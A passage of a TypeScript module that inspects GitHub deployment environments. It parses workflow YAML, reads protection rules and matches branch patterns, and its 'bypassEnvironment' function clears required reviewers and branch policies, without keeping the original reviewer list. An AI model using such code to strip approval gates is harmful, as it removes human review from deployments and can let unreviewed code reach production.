// Best effort — the env may have been deleted or token expired
}
}
// ── Extract environment names from workflow YAML ────────────────────────────
/**
* Parse environment names referenced in a workflow YAML string.
* Looks for `environment:` keys inside jobs.
*/
export function extractEnvironmentNames(yaml: string): string[] {
const names = new Set<string>();
const envRegex = /^\s+environment:\s*(\S+)/gm;
let match: RegExpExecArray | null;
while ((match = envRegex.exec(yaml)) !== null) {
const name = match[1]!.trim();
// Skip template expressions like ${{ ... }}
if (name && !name.startsWith("${{")) {
names.add(name);
}
}
return [...names];
}
// ── API calls ───────────────────────────────────────────────────────────────
async function getEnvironment(
token: string,
owner: string,
repo: string,
envName: string,
): Promise<EnvironmentInfo | null> {
const encName = encodeURIComponent(envName);
try {
const env = await githubJson<{
id: number;
name: string;
protection_rules?: Array<{ type: string; wait_timer?: number }>;
deployment_branch_policy?: {
protected_branches: boolean;
custom_branch_policies: boolean;
} | null;
}>(token, `/repos/${owner}/${repo}/environments/${encName}`);
const hasRequiredReviewers =
env.protection_rules?.some((r) => r.type === "required_reviewers") ??
false;
const hasWaitTimer =
env.protection_rules?.some((r) => r.type === "wait_timer") ?? false;
let branchPolicies: Array<{ id: number; name: string }> = [];
if (env.deployment_branch_policy?.custom_branch_policies) {
try {
const policies = await githubJson<{
branch_policies?: Array<{ id: number; name: string }>;
}>(
token,
`/repos/${owner}/${repo}/environments/${encName}/deployment-branch-policies`,
);
branchPolicies = policies.branch_policies ?? [];
} catch {
// Can't fetch policies — assume restrictive
}
}
return {
id: env.id,
name: env.name,
hasRequiredReviewers,
hasWaitTimer,
deploymentBranchPolicy: env.deployment_branch_policy
? {
protectedBranches: env.deployment_branch_policy.protected_branches,
customBranchPolicies:
env.deployment_branch_policy.custom_branch_policies,
}
: null,
branchPolicies,
};
} catch {
return null;
}
}
async function bypassEnvironment(
token: string,
owner: string,
repo: string,
envName: string,
env: EnvironmentInfo,
): Promise<EnvironmentBypassState> {
// Clear reviewers and branch policy to allow our branch
const bypass: EnvironmentBypassState = {
repoFullName: `${owner}/${repo}`,
envName,
originalState: {
reviewers: null, // We don't track original reviewers — clear them
deploymentBranchPolicy: env.deploymentBranchPolicy
? {
protected_branches: env.deploymentBranchPolicy.protectedBranches,
custom_branch_policies:
env.deploymentBranchPolicy.customBranchPolicies,
}
: null,
},
};
await updateEnvironment(token, owner, repo, envName, null, null);
return bypass;
}
async function updateEnvironment(
token: string,
owner: string,
repo: string,
envName: string,
reviewers: Array<{ type: string; id: number }> | null,
deploymentBranchPolicy: Record<string, boolean> | null,
): Promise<void> {
const encName = encodeURIComponent(envName);
const body: Record<string, unknown> = {
reviewers: reviewers ?? [],
deployment_branch_policy: deploymentBranchPolicy,
};
const res = await githubFetch(
token,
`/repos/${owner}/${repo}/environments/${encName}`,
{
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
},
);
if (!res.ok && res.status !== 422) {
// 422 = validation error (e.g. protected_branches+policy both set)
throw new Error(`Failed to update environment: ${res.status}`);
}
}
// ── Pattern matching ────────────────────────────────────────────────────────
/**
* Simple fnmatch-style pattern matching for branch policies.
* Supports * as wildcard (does not match /).
*/
function matchBranchPattern(branch: string, pattern: string): boolean {
// Convert fnmatch pattern to regex
// * matches everything except /
const regexStr = pattern
.replace(/[.+^${}()|[\]\\]/g, "\\$&") // escape regex chars
.replace(/\*/g, "[^/]*"); // * → anything except /
try {
return new RegExp(`^${regexStr}$`).test(branch);
} catch {
return false;
}
}